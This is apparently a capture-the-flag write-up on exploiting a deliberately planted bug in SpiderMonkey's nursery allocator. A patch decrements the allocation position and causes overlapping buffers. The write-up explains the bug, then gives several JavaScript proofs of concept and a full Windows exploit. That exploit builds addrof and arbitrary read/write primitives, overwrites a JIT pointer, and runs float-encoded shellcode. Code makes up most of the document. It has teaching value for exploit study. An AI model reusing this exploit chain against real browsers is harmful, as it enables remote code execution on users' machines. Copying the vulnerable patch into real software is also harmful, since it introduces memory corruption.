---
# System prepended metadata

title: Patch

---

# Patch
```
From 9b75f0de94978a681682cf13d392b0db7fa4161a Mon Sep 17 00:00:00 2001
From: Your Name <you@example.com>
Date: Thu, 17 Feb 2022 16:09:17 +0000
Subject: [PATCH] Cool new Implementation

---
 js/src/gc/Nursery.cpp | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/js/src/gc/Nursery.cpp b/js/src/gc/Nursery.cpp
index ef75e814ed..59ac8e5872 100644
--- a/js/src/gc/Nursery.cpp
+++ b/js/src/gc/Nursery.cpp
@@ -701,12 +701,14 @@ void* js::Nursery::reallocateBuffer(Zone* zone, Cell* cell, void* oldBuffer,
     return newBuffer;
   }
 
+  void* newBuffer = allocateBuffer(zone, newBytes);
+
   // The nursery cannot make use of the returned slots data.
   if (newBytes < oldBytes) {
+    position_ -= oldBytes;
     return oldBuffer;
   }
 
-  void* newBuffer = allocateBuffer(zone, newBytes);
   if (newBuffer) {
     PodCopy((uint8_t*)newBuffer, (uint8_t*)oldBuffer, oldBytes);
   }
-- 
2.20.1
```

# Understanding the patch
The patch is in `js::Nursery::reallocateBuffer`. In order to understand how to hit this code, I fuzzed the spidermonkey a little. After fuzzing, I found out that this code is used when reallocating an array, for example by shortening its length. The main patched code is:
```
+  void* newBuffer = allocateBuffer(zone, newBytes);
+
   // The nursery cannot make use of the returned slots data.
   if (newBytes < oldBytes) {
+    position_ -= oldBytes;
     return oldBuffer;
   }
 
-  void* newBuffer = allocateBuffer(zone, newBytes);
```
A `newBuffer` is brought forward the if branch and allocated. In the `if branch` where `newBytes < oldBytes`, it will always return `oldbuffer`. This kind of makes sense because if the `oldbuffer` is larger than the `newbuffer` (the new array size is smaller than the old array size), there is enough space for the new array. Hence there is no need to reallocate and use a `newbuffer` for it.

The patch also decreases this `position` value, and it is probably something that is used for allocation for other buffers. Looking around this file, I understand that position is used in `js::nursery::allocate` and it is returned as the allocated address. For example when we allocate a new buffer, it will hit `js::nursery::allocate` and the `position` value is returned as its address. You can refer to the appendix section at the end on `Where is position used` if interested.

# The bug
The `position` value is decreased by the size of the `oldbytes`, but the `newbuffer` allocated is actually smaller than that! 

This is the exploitation scenario I imagine:
1) Allocate `buffer_a` of 0x50.
2) Resize `buffer_a` to a smaller size. This will cause the `position` to decrease by the oldbytes.
3) Allocate `buffer_b` and hope it lands within `buffer_a`.

With some trial and error and more arrays initialized, the above scenario is possible! Below is a very simple POC

## Simple POC with Comments
Note that the heap layout differs a little across revision and across local and remote. Refer to the `Simple Remote POC` if you just want a working copy, else it will be a good exercise to write it yourself.
```
array_vuln = new Array(0x50);
array_vuln[0x50] = 1;

OOB_Array = new Array(0x50);

//[1] initialize this array
OOB_Array[0x4F] = 1.1;  
OOB_Array.a = 1.1;
OOB_Array.b = 1.1;

//[2] repeatedly trigger the bug
for (var i = 0x50; i > 2; i--){
    array_vuln.length = i;
}

//[3] corrupted_array2 and corrupted_array3 will end up within OOB_Array element area
corrupted_array2 = new Array(10);
corrupted_array3 = new Array(10);

//[4] now OOB_Array[1] controls corrupted_array3
var corrupted_array3_elem_ptr = ftoi(OOB_Array[1]);
console.log("corrupted_array3_elem_ptr = " +corrupted_array3_elem_ptr.toString(16));

//[5] corrupt corrupted_array3's length and capacity
OOB_Array[2] = itof(0x4141414141414141n);
OOB_Array[3] = itof(0x4141414141414141n);  
console.log("Corrupted_array3.length = " +(corrupted_array3.length).toString(16));

//[6] Continue exploit with corrupted_array3!

/*
...
*/
```

Added the comments to the POC. I will put some diagrams here. Running the above gives me this:
```
Starting javascript!
Addr of array: 7cb3a100e58
Addr of array_vuln: 7cb3a100798
Addr of array_vuln: 7cb3a100798
Addr of OOB_Array: 7cb3a100e58
Addr of corrupted_array2: 7cb3a100e08
Addr of corrupted_array3: 7cb3a100e88
corrupted_array3_elem_ptr = 7cb3a100eb0
Corrupted_array3.length = 41414141
js>
```

We are only concerned with `OOB_Array` and `corrupted_array3`. 

![](https://i.imgur.com/G2YKWrM.png)


`Corrupted_array3` is actually within `OOB_Array`!

```
000007cb3a100e58 00002bde41d68220  ---> OOB_Array
000007cb3a100e60 000007cb3a101128  
000007cb3a100e68 000007cb3a100e90  ---> element pointer (points to the start of the array)
000007cb3a100e70 0000000000000001  ---> OOB_Array's capacity (i think?)
000007cb3a100e78 0000005000000000  ---> OOB_Array's length
000007cb3a100e80 0000021c00c32ff0 
000007cb3a100e88 00002bde41d60ec0  ---> corrupted_array3
000007cb3a100e90 00007ff6421424a8  
000007cb3a100e98 000007cb3a100eb0 
000007cb3a100ea0 4141414141414141  ---> corrupted_array3's capacity and also OOB_Array[2]
000007cb3a100ea8 4141414141414141  ---> corrupted_array3's length and also OOB_Array[3]
000007cb3a100eb0 fffa800000000000 
000007cb3a100eb8 fffa800000000000 
000007cb3a100ec0 fffa800000000000 
000007cb3a100ec8 fffa800000000000 
000007cb3a100ed0 fffa800000000000 
000007cb3a100ed8 fffa800000000000 
000007cb3a100ee0 fffa800000000000 
000007cb3a100ee8 fffa800000000000 
000007cb3a100ef0 fffa800000000000 
000007cb3a100ef8 fffa800000000000 
```

### Simple POC [2]
Because of some heap stuff (which i am lazy to adjust), this is actually the simple poc that works.
```
function addrof(obj){
    return (objectAddress(obj));
}


array_vuln = new Array(0x50);
array_vuln[0x50] = 1;

OOB_Array = new Array(0x50);
OOB_Array[0x4F] = 1.1;  //initialize this guy value
OOB_Array.a = 1.1;
OOB_Array.b = 1.1;
console.log("Addr of array: " +addrof(OOB_Array));
console.log("Addr of array_vuln: " +addrof(array_vuln));


for (var i = 0x50; i > 2; i--){
    array_vuln.length = i;
}

//corrupted_array2 and corrupted_array3 will end up within OOB_Array element area
corrupted_array2 = new Array(10);
corrupted_array3 = new Array(10);

console.log("Addr of array_vuln: " +addrof(array_vuln));
console.log("Addr of OOB_Array: " +addrof(OOB_Array));
console.log("Addr of corrupted_array2: " +addrof(corrupted_array2));
console.log("Addr of corrupted_array3: " +addrof(corrupted_array3));


function ftoi(val) {
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

//helper arrays
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

var corrupted_array3_elem_ptr = ftoi(OOB_Array[1]);
console.log("corrupted_array3_elem_ptr = " +corrupted_array3_elem_ptr.toString(16));

OOB_Array[2] = itof(0x4141414141414141n);
OOB_Array[3] = itof(0x4141414141414141n);  
console.log("Corrupted_array3.length = " +(corrupted_array3.length).toString(16));
```
# Simple Remote POC
```
function addrof(obj){
    return (objectAddress(obj));
}

array_vuln = new Array(0x50);
array_vuln2 = new ArrayBuffer(0x50);
console.log("Readjusting 1");
array_vuln[0x50] = 1;
OOB_Array = new Array(0x50);
OOB_Array[0x4F] = 1.1;  //initialize this guy value
OOB_Array.a = 1.1;
OOB_Array.b = 1.1;
console.log("Addr of array: " +addrof(OOB_Array));
console.log("Addr of array_vuln: " +addrof(array_vuln));
for (var i = 0x50; i > 2; i--){
    array_vuln.length = i;
    array_vuln2.length = i;
}
corrupted_array2 = new Array(10);
corrupted_array3 = new Array(10);
target_uint32arr = new BigUint64Array(0x138);
target_dv = new DataView(target_uint32arr.buffer);
target_dv.setBigUint64(0,0x4141414141414141n);
target_dv.setBigUint64(8,0x4141414141414141n);

console.log("Addr of array_vuln: " +addrof(array_vuln));
console.log("Addr of array_vuln2: " +addrof(array_vuln2));
console.log("Addr of OOB_Array: " +addrof(OOB_Array));
console.log("Addr of corrupted_array2: " +addrof(corrupted_array2));
console.log("Addr of corrupted_array3: " +addrof(corrupted_array3));
console.log("Addr of target_uint32arr: " +addrof(target_uint32arr));
console.log("Addr of target_dv: " +addrof(target_dv));

function ftoi(val) {
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

var corrupted_array2_elem_ptr = ftoi(OOB_Array[5]);
console.log("corrupted_array2_elem_ptr = " +corrupted_array2_elem_ptr.toString(16));

OOB_Array[6] = itof(0x4141414141414141n);
OOB_Array[7] = itof(0x4141414141414141n);  
console.log("Corrupted_array2.length = " +(corrupted_array2.length).toString(16));
```

# What's next?

Once you got an corrupted_array with crazy length, the rest of the exploitation is simple. Below are some really good references:
1) https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/
2) https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/

In order to extend our primitives, I initialize a TypedArray and control its element pointer. `https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#the-vulnerability` already explained it pretty well.

For references below, `corrupted_array3` is the out-of-bound array that can control everything, and `target_dv` is the dataview of the TypedArray.

With that done, we can get all our necessary primitives:
1) Addrof primitive (written as `real_addrof` in exploit)
- Technically, we shouldn't have access to spidermonkey builtin `objectAddress` command. So we need a addrof primitive that gives us the address of an object.
- This is achieved by putting the object you are interested in at `corrupted_array3[0]`.
- Use `corrupted_array3` to overwrite element pointer of `target_dv` to point to `corrupted_array3[0]`
- Read from `target_dv` which will read the object

2) Arbitrary read primitive (written as `arb_read` in exploit)
- Overwrite `target_dv` element pointer to the address we want to read  
- Read from `target_dv`

3) Arbitrary write primitive (written as `arb_write` in exploit)
- Overwrite `target_dv` element pointer to the address we want to write
- Write from `target_dv`

After achieving all the primitives above, use `BYOG` technique (refer to maxsploit writeup) and get code execution!


# Full POC that works on Windows 
Not sure if the POC is revision specific, but if it does not work, refer to my revisions in the Appendix.
```
function shellcode(){
    //find_me = 5.40900888e-315; // 0x41414141 in memory
    find_me = 2261634.5098039214;
    A = -6.828527034422786e-229; // 0x9090909090909090
    B = -6.82852703442287383018567816223E-229;
    C = -6.82852703444536928239411262655E-229;
    D = -6.82852704020420504775333549305E-229;
    E = -6.82852851446616097971438931699E-229;
    F = -6.82890592552687956174416824491E-229;
    G = -6.92552315707083656136757379246E-229;
    
    //B = 8.568532312320605e+170;
    //C = 1.4813365150669252e+248;
    //D = -6.032447120847604e-264;
    //E = -6.0391189260385385e-264;
    //F = 1.0842822352493598e-25;
    //G = 9.241363425014362e+44;
    //H = 2.2104256869204514e+40;
    //I = 2.4929675059396527e+40;
    //J = 3.2459699498717e-310;
    //K = 1.637926e-318;
}

for(i = 0;i < 0x5000; i++) shellcode();


console.log("Starting javascript!");

function addrof(obj){
    return (objectAddress(obj));
}


array_vuln = new Array(0x50);
array_vuln[0x50] = 1;

OOB_Array = new Array(0x50);
OOB_Array[0x4F] = 1.1;  //initialize this guy value
OOB_Array.a = 1.1;
OOB_Array.b = 1.1;
console.log("Addr of array: " +addrof(OOB_Array));
console.log("Addr of array_vuln: " +addrof(array_vuln));


for (var i = 0x50; i > 2; i--){
    array_vuln.length = i;
}

//corrupted_array2 and corrupted_array3 will end up within OOB_Array element area
corrupted_array2 = new Array(10);
corrupted_array3 = new Array(10);

console.log("Addr of array_vuln: " +addrof(array_vuln));
console.log("Addr of OOB_Array: " +addrof(OOB_Array));
console.log("Addr of corrupted_array2: " +addrof(corrupted_array2));
console.log("Addr of corrupted_array3: " +addrof(corrupted_array3));


function ftoi(val) {
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

//for (var i = 0; i < 0x10; i++){
//    console.log("OOB_Array's leak: " +(ftoi(OOB_Array[i]).toString(16)));
//}

//Modifying OOB_Array[3] will corrupt corrupted_array3's length

var corrupted_array3_elem_ptr = ftoi(OOB_Array[1]);
console.log("corrupted_array3_elem_ptr = " +corrupted_array3_elem_ptr.toString(16));

OOB_Array[2] = itof(0x4141414141414141n);
OOB_Array[3] = itof(0x4141414141414141n);  
console.log("Corrupted_array3.length = " +(corrupted_array3.length).toString(16));


var victimBuf = new ArrayBuffer(8);

target_uint32arr = new BigUint64Array(0x137);
target_dv = new DataView(target_uint32arr.buffer);
target_dv.setBigUint64(0,0x4141414141414141n);
target_dv.setBigUint64(8,0x4141414141414141n);

console.log("Addr of target_uint32arr: " +addrof(target_uint32arr));
console.log("Addr of target_dv: " +addrof(target_dv));

for (var i = 0; i < 0x200; i++){
    //console.log((ftoi(corrupted_array3[i])).toString(16));
    if(((ftoi(corrupted_array3[i])).toString(16)) == "137"){        
        idx = i;
        console.log("Found array buffer @ corrupted_array3[" ,idx,"]");
        break;
    }
}

var victimBuf_elem_ptr_idx = idx + 2
var original_victimBuf_elem_ptr = ftoi(corrupted_array3[victimBuf_elem_ptr_idx]);
console.log("original_victimBuf_elem_ptr = " +original_victimBuf_elem_ptr.toString(16));

for (var i = victimBuf_elem_ptr_idx+2; i < 0x200; i++){
    //console.log((ftoi(corrupted_array3[i])).toString(16));
    if(((ftoi(corrupted_array3[i])).toString(16)) == original_victimBuf_elem_ptr.toString(16)){        
        new_idx = i;
        console.log("Found data view @ corrupted_array3[" ,new_idx,"]");
        break;
    }
}

function real_addrof(obj){
    corrupted_array3[0] = obj;
    corrupted_array3[new_idx] = itof(corrupted_array3_elem_ptr);
    var address = target_dv.getBigUint64(0,true);
    corrupted_array3[new_idx] = itof(original_victimBuf_elem_ptr);
    return address;
}

function arb_read(addr){
    corrupted_array3[new_idx] = itof(addr);
    var content = target_dv.getBigUint64(0,true);
    corrupted_array3[new_idx] = itof(original_victimBuf_elem_ptr);
    return content;
}

function arb_write(addr, value){
    corrupted_array3[new_idx] = itof(addr);
    var content = target_dv.setBigUint64(0, value, true);
    corrupted_array3[new_idx] = itof(original_victimBuf_elem_ptr);
    return content;
}

var obj = {};
var obj_addr = real_addrof(obj) & 0x0000FFFFFFFFFFFFn;
console.log("Obj address = ", obj_addr.toString(16));

shellcode_addr = real_addrof(shellcode) & 0x0000FFFFFFFFFFFFn;
console.log("[+] Function is at: " + shellcode_addr.toString(16));

jitinfo = arb_read((shellcode_addr + 0x28n)); // JSFunction.u.native.extra.jitInfo_
console.log("[+]   jitinfo: " + jitinfo.toString(16));

rx_region = arb_read((jitinfo)); // rx
console.log("[+]   rx_region: " + rx_region.toString(16));

for (var i = 0; i < 0x800; i = i + 8){
    data = arb_read(rx_region + BigInt(i));
    if (data == 0x4141414141414141n){
        console.log("Found nop sled @ " ,(rx_region + BigInt(i)).toString(16));

        nop_sled_addr = rx_region + BigInt(i+8);
        break;
    }
}

arb_write(jitinfo, nop_sled_addr);
 
console.log("[*] Triggering...")
shellcode();
```

# Appendix

## Where is position used?
```
inline void* js::Nursery::allocate(size_t size) {
  MOZ_ASSERT(isEnabled());
  MOZ_ASSERT(!JS::RuntimeHeapIsBusy());
  MOZ_ASSERT(CurrentThreadCanAccessRuntime(runtime()));
  MOZ_ASSERT_IF(currentChunk_ == currentStartChunk_,
                position() >= currentStartPosition_);
  MOZ_ASSERT(position() % CellAlignBytes == 0);
  MOZ_ASSERT(size % CellAlignBytes == 0);

#ifdef JS_GC_ZEAL
  if (gc->hasZealMode(ZealMode::CheckNursery)) {
    size += sizeof(Canary);
  }
#endif

  if (MOZ_UNLIKELY(currentEnd() < position() + size)) {
    return moveToNextChunkAndAllocate(size);
  }

  void* thing = (void*)position();
  printf("Allocate: old position = %p\n", position_);
  position_ = position() + size;
  printf("Allocate: new position = %p\n", position_);

  // We count this regardless of the profiler's state, assuming that it costs
  // just as much to count it, as to check the profiler's state and decide not
  // to count it.
  stats().noteNurseryAlloc();

  DebugOnlyPoison(thing, JS_ALLOCATED_NURSERY_PATTERN, size,
                  MemCheckKind::MakeUndefined);

#ifdef JS_GC_ZEAL
  if (gc->hasZealMode(ZealMode::CheckNursery)) {
    writeCanary(position() - sizeof(Canary));
  }
#endif

  return thing;
}
```

Position is used in `js::Nursery::Allocate`. It is essentially the starting point of where the heap is.

## The revision it works
```
$ hg log
changeset:   694484:d0771d3e5261
bookmark:    autoland
tag:         tip
user:        Thomas Wisniewski <twisniewski@mozilla.com>
date:        Tue Jun 21 12:36:18 2022 +0000
summary:     Bug 1775126 - fix a structured-cloning failure in the webcompat report-site-issue feature, and update and re-enable its tests; r=denschub,webcompat-reviewers

changeset:   694483:60e7202282a8
user:        Timothy Nikkel <tnikkel@gmail.com>
date:        Tue Jun 21 11:46:07 2022 +0000
summary:     Bug 1775237. Let progressive background images ride the trains. r=aosmond
```